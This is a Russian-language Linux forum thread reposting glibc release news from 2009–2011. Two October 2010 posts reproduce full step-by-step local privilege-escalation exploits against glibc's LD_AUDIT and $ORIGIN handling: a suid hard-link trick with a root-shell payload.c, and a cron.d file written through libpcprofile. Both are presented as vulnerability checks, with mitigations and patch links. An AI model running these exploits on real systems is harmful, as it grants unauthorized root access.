Linux Forum Казахстан

Общий => Новости => Тема начата: turbo от 19 Апреля 2009, 18:45

Название: Glibc
Отправлено: turbo от 19 Апреля 2009, 18:45
[size="3"]Обзор новшеств будущей версии системной библиотеки Glibc - 2.10[/size]

Мантейнер системной библиотеки GNU C Library представил набор новшеств в готовящейся к релизу версии glibc 2.10, на базе которой будет построен дистрибутив Fedora 11.

В новой версии glibc ожидается:

 * Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
 * Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
 * Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
 * Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
 * Использование NSS (Network Security Services) в libcrypt;
 * Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
 * Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
 * Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
 * Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.

http://www.opennet.r...shtml?num=21329 (http://www.opennet.ru/opennews/art.shtml?num=21329)
Название: Glibc
Отправлено: turbo от 20 Мая 2009, 19:11
[size="3"]Релиз системной библиотеки Glibc 2.10 и генератора файлов сборки Automake 1.11[/size]

Вышел релиз системной библиотеки GNU C Library (glibc) 2.10.1 (первая публичная версия ветки 2.10). Glibc 2.10 войдет в состав Linux дистрибутива Fedora 11, выход которого ожидается 26 мая.

Из новшеств glibc 2.10 можно выделить:

 * Поддержка стандарта POSIX 2008. Например, добавлены новые макросы, реализована функция psiginfo, добавлена поддержка флагов O_SEARCH и O_EXEC;
 * Более жёсткое соответствие требованиям C++, например, в дополнение к "char *strchr(char *, int)" добавлено "const char *strchr(const char *, int)", т.е. конструкция "char *i = strchr(in, 'i')", если in имеет тип "const char *i" приведёт к ошибке;
 * Поддержка особенностей будущего стандарта C++ 201x. Например, добавлен обработчик at_quick_exit и функция quick_exit, для экстренного завершения процесса без вызова глобальных деструкторов;
 * Улучшение в функциях DNS NSS в плане обработки нескольких параллельных запросов;
 * Использование NSS (Network Security Services) в libcrypt;
 * Поддержка возможности определения дополнительных модификаторов и спецификаторов формата для функции printf. Для подключения дополнительных обработчиков добавлены функции register_printf_specifier, register_printf_modifier и register_printf_type;
 * Улучшение масштабируемости функции malloc при работе на многоядерных CPU;
 * Добавлена функция malloc_info для предоставления исчерпывающей информации о текущем состоянии системы распределении памяти (сколько памяти выделено, общий размер адресного пространства и т.п.).
 * Автоматическое задействования оптимизированных функций, например, для систем с современным CPU Intel, будет использован вариант функций strlen и strchr, использующий инструкции SSE4.2.
 * Новые функции: preadv, preadv64, pwritev, pwritev64, accept4, fallocate, fallocate64.

Кроме того, вышел релиз генератора make-файлов Automake 1.11, спустя три года после версии 1.10. Следует заметить, что тестовая версия 1.11 была выпущена под лицензией GPLv3, но в последний момент перед релизом лицензия была возвращена на GPLv2+, так как возникла необходимость написания лицензионного исключения.

Основные улучшения Automake 1.11:

 * опциональная поддержка менее "говорливого" стиля задания правил компиляции для Linux ядра;
 * более быстрые правила для установки и деинсталляции;
 * поддержка проведения тестов в параллельном режиме;
 * подсветка вывода результатов тестов;
 * улучшение поддержки языка Fortran и начальная поддержка языка Vala;
 * возможность запуска automake в многопоточном режиме;
 * поддержка tar-архивов сжатых методами lzma и xz;
 * улучшение реализации макроса AM_MAINTAINER_MODE;
 * man-руководства для aclocal и automake.

http://www.opennet.r...shtml?num=21799 (http://www.opennet.ru/opennews/art.shtml?num=21799)
Название: Glibc
Отправлено: turbo от 04 Ноября 2009, 18:21
[size="3"]Доступен релиз системной библиотеки Glibc 2.11[/size]

Вышел релиз системной библиотеки GNU C Library (glibc) 2.11. Из новшеств можно отметить:

 * Новые функции, определенные в последнем варианте стандарта POSIX: execvpe, pthread_sigqueue, mkstemps, mkstemps64, mkostemps и mkostemps64;
 * Добавлены специально оптимизированные для архитектуры x86-64 варианты функций: strstr, strcasestr, memcmp, strcspn, strpbrk, strspn, strcpy, stpcpy, strncpy, strcmp (задействованы инструкции SSE2, SSE4.2), strncmp (SSE2, SSE4.2), strchr (SSE4.2), strrchr (SSE4.2), strlen, rawmemchr, strcmp (SSSE3), strncmp (SSSE3);
 * Добавлены специально оптимизированные для архитектуры x86 варианты функций: strlen, strcspn, strspn, strpbrk, strstr, strcasestr;
 * Выполнение вызова longjmp теперь возвращается с ошибкой, если при его работе будет обнаружено создание инициализированных областей стека;
 * STT_GNU_IFUNC теперь поддерживается в статически скомпонованных исполняемых файлах. Для архитектуры PPC реализована поддержка STT_GNU_IFUNC. Добавлена поддержка STB_GNU_UNIQUE;
 * Добавлена поддержка fma инструкций в AVX расширении для архитектуры x86-64. В ld.so с использованием возможностей AVX реализованы средства аудита;
 * В код DNS резолвера добавлен режим повторного запроса: если два DNS обращения c одного порта не могут быть выполнены, сокет закрывается и осуществляется еще одна попытка, но с заново созданным сокетом. Включить данный режим можно через указание опции 'single-request-reopen' в /etc/resolv.conf. Кроме того, в резолвере реализована поддержка флага RES_USE_DNSSEC для осуществления запросов с подтверждением;
 * Повышена эффективность работы PI-мьютексов, в случае если ядро ОС поддерживает операцию перераспределения элементов очереди к PI-фьютексам. Для архитектуры x86-64 добавлена поддержка NPTL нитей;
 * Добавлены новые локали: ps_AF, my_MM.

http://www.opennet.r...shtml?num=24106 (http://www.opennet.ru/opennews/art.shtml?num=24106)
Название: Glibc
Отправлено: Zhek@Ch от 20 Октября 2010, 00:22
[size="3"]Glibc: Обнаружена серъезная уязвимость [/size]

В системной библиотеке GNU C Library (glibc), являющейся основой большинства Linux-дистрибутивов, обнаружена (http://seclists.org/fulldisclosure/2010/Oct/257) критическая уязвимость, позволяющая любому локальному пользователю получить привилегии суперпользователя. Проблема вызвана игнорированием в Glibc требования спецификации ELF по запрещению использования текущего пути к исполняемому файлу ($ORIGIN) в процессе динамического связывания программ с идентификатором смены владельца или группы (suid/sgid). Проблема проявляется в конфигурациях, в которых пользователь имеет возможность создавать жесткие ссылки в файловой системе, допускающей наличие suid-файлов.

Уязвимость протестирована в Fedora 13 и RHEL 5 / CentOS 5, другие дистрибутивы судя по всему также подвержены проблеме. Исправления пока недоступны, статус выхода обновлений в различных Linux-дистрибутивах можно наблюдать на следующих страницах: Slackware (http://www.slackware.com/security/list.php?l=slackware-security&y=2010), Gentoo (http://www.gentoo.org/security/en/index.xml), Mandriva (http://www.mandriva.com/en/security/advisories?dis=2010.1), openSUSE (http://lists.opensuse.org/opensuse-security-announce/2010-10/), CentOS (http://lists.centos.org/pipermail/centos-announce/2010-October/thread.html), Fedora (https://admin.fedoraproject.org/updates/F13/security), RHEL (http://rhn.redhat.com/errata/rhel-server-errata.html), Debian (http://www.debian.org/security/), Ubuntu (https://lists.ubuntu.com/archives/ubuntu-security-announce/2010-October).

Проблема была известна и ранее, но разработчики Glibc считали, что эксплуатировать ее невозможно. Используя режим аудита связывания программ (LD_AUDIT) в ld.so, вкупе с подменой $ORIGIN через создание жесткой ссылки и запуском suid-программы через файловый дескриптор, удалось разработать практический метод атаки. Проверить свою систему на наличие уязвимости можно следующим способом:

Создаем произвольную директорию:

 $ mkdir /tmp/exploit

Привязываем suid-программу жесткой ссылкой в созданную директорию (при выполнении будет изменен $ORIGIN):

 $ ln /bin/ping /tmp/exploit/target

Открываем для исполняемого файла файловый дескриптор:

 $ exec 3< /tmp/exploit/target

Данный файловый дескриптор должен быть виден в пространстве /proc

 $ ls -l /proc/$/fd/3
 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

Удаляем ранее созданную директорию

 $ rm -rf /tmp/exploit/

В /proc дескриптор остался, но теперь помечен как удаленный:

 $ ls -l /proc/$/fd/3
 lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

Заменяем директорию на специально созданный эксплоит (имя директории будет открыто через dlopen):

 $ cat > payload.c
 void __attribute__((constructor)) init()
 {
 setuid(0);
 system("/bin/bash");
 }
 ^D

 $ gcc -w -fPIC -shared -o /tmp/exploit payload.c
 $ ls -l /tmp/exploit
 -rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

Инициируем динамическое связывание и загрузку $ORIGIN через LD_AUDIT и запуск программы по файловому дескриптору в /proc
 
 $ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
 sh-4.1# whoami
 root
 sh-4.1# id
 uid=0(root) gid=500(taviso)

В качестве временной меры защиты рекомендуются перемонтировать все доступные сторонним пользователям на запись директории в режиме nosuid (актуально только если suid-файл и доступная на запись директория присутствуют в одном дисковом разделе, например, /tmp или /home являются частью корневого раздела, так как жесткая ссылка не может быть установлена из одного дискового раздела в другой) :
[color="#461b7e"]
[codebox]# mount -o bind /tmp /tmp # mount -o remount,bind,nosuid /tmp /tmp[/codebox]
[/color] Дополнение: Разработчики из компании Red Hat выпустили патч (http://sourceware.org/ml/libc-hacker/2010-10/msg00007.html), устраняющий проблему в Glibc.

# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=28338)
Название: Glibc
Отправлено: Zhek@Ch от 23 Октября 2010, 14:42
[size="3"]Для Glibc представлен еще один метод повышения привилегий [/size]

Спустя несколько дней после обнаружения в системной библиотеке GNU C Library (glibc) уязвимости (http://linuxforum.kz/topic/4266-glibc/), сообщается (http://seclists.org/fulldisclosure/2010/Oct/344) о нахождении еще одного метода взлома, позволяющего выполнить код с привилегиями суперпользователя. В отличие от ранее представленной техники, новый метод эксплуатации проявляется не только в RHEL, Fedora и CentOS, но и в Debian/Ubuntu и других Linux-дистрибутивах, использующих glibc 2.4 или более позднюю версию. Отдельно сообщается (http://www.openwall.com/lists/announce/2010/10/22/1), что проблеме не подвержена glibc из состава OpenWall (http://www.openwall.com/) и ALT Linux, так как в данных дистрибутивах изначально по умолчанию использован повышающий безопасность патч "sanitize-env".

По своей сути новая уязвимость основана на том же принципе и базируется на отсутствии должных проверок при динамическом связывании в режиме LD_AUDIT библиотек с исполняемыми файлами, для которых установлен идентификатор смены владельца или группы (suid/sgid). Изначально система динамического связывания блокирует любые попытки использования LD_PRELOAD для загрузки для setuid/setgid-программ пользовательских библиотек, размещенных в нестандартный областях файловой системы (/lib, /usr/lib), но разработчики glibc сделали несколько исключений из правил для функции LD_AUDIT, наличие которых и привело к возможности осуществления атаки.

При активации режима аудита через LD_AUDIT система связывание выполняет проверку на экспорт символов для всех указанных стандартных библиотек, выполняя вызов dlopen(), который подразумевает запуск процедуры инициализации библиотеки. Техника атаки при этом сводится к инициированию загрузки подставной библиотеки в пути запуска приложения (отмеченная (http://seclists.org/fulldisclosure/2010/Oct/257) в прошлой уязвимости техника), либо к использованию стандартных библиотек, неучитывающих фактор наличия флага suid/sgid (euid != uid).

Проверить подверженность системы уязвимости можно следующим способом:

[color="#461b7e"]Убираем маску прав доступа для создаваемых файлов (при umask 0 файлы будут создаваться по умолчанию с правами "-rw-rw-rw-")

 $ umask 0

Для атаки будем использовать стандартную библиотеку профилирования libpcprofile, входящую в комплект libc:

 $ dpkg -S /lib/libpcprofile.so
 libc6: /lib/libpcprofile.so

 $ ls -l /lib/libpcprofile.so
 -rw-r--r-- 1 root root 5496 2010-10-12 03:32 /lib/libpcprofile.so

Код инициализации libpcprofile не проверяет различия эффективного и текущего идентификатора пользователя, но при этом позволяет создать лог-файл, который можно создать в любой системной директории:

 $ LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/etc/cron.d/exploit" ping

 ERROR: ld.so: object 'libpcprofile.so' cannot be loaded as audit interface: undefined symbol: la_version; ignored.

Несмотря на вывод ошибки, процедура инициализации выполнилась и в директории /etc/cron.d был создан лог-файл:

 $ ls -l /etc/cron.d/exploit
 -rw-rw-rw- 1 root taviso 65 2010-10-21 14:22 /etc/cron.d/exploit

Как видно, права доступа на созданный файл, позволяют любому пользователю записать в него любые данные, которые затем будут выполнены системой cron от пользователя root. Например:

 $ printf "* * * * * root cp /bin/dash /tmp/exploit; chmod u+s /tmp/exploit\n" > /etc/cron.d/exploit

Через пару минут наблюдаем:

 $ ls -l /tmp/exploit
 ls: cannot access /tmp/exploit: No such file or directory
 ...
 $ ls -l /tmp/exploit
 -rwsr-xr-x 1 root root 83888 2010-10-21 14:25 /tmp/exploit

 $ /tmp/exploit
 # whoami
 root
[/color] Исправления уже доступны для Debian (http://www.debian.org/security/2010/dsa-2122) и Ubuntu (https://lists.ubuntu.com/archives/ubuntu-security-announce/2010-October/001187.html). Состояние подготовки исправлений для других дистрибутивов можно отследить на следующих страницах: Slackware (http://www.slackware.com/security/list.php?l=slackware-security&y=2010), Gentoo (http://www.gentoo.org/security/en/index.xml), Mandriva (http://www.mandriva.com/en/security/advisories?dis=2010.1), openSUSE (http://lists.opensuse.org/opensuse-security-announce/2010-10/), CentOS (http://lists.centos.org/pipermail/centos-announce/2010-October/thread.html), Fedora (https://admin.fedoraproject.org/updates/F13/security), RHEL (http://rhn.redhat.com/errata/rhel-server-errata.html).

# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=28390)
Название: Glibc
Отправлено: Zhek@Ch от 02 Июня 2011, 18:11
[size="3"]Релиз системной библиотеки Glibc 2.14 [/size]

Представлен (http://sourceware.org/ml/libc-alpha/2011-05/msg00103.html) релиз системной библиотеки GNU C Library (glibc) 2.14 (http://ftp.gnu.org/gnu/glibc/), в подготовке которого использованы патчи от 28 разработчиков. Glibc является основой большинства Linux-дистрибутивов, за исключением OpenWrt, Debian и Ubuntu, которые перешли на использование системной библиотеки Eglibc (http://www.eglibc.org/). Библиотека Eglibc полностью совместима с Glibc и отличается (http://www.opennet.ru/opennews/art.shtml?num=21615) более низкими системными требованиями, возможностью гибкой настройки компонентов, улучшенной поддержкой кросс-компиляции и кросс-тестирования.

Из добавленных в Glibc 2.14 улучшений (http://sourceware.org/git/?p=glibc.git;a=blob_plain;f=NEWS;hb=HEAD) можно отметить:

# opennet.ru (http://www.opennet.ru/opennews/art.shtml?num=30746)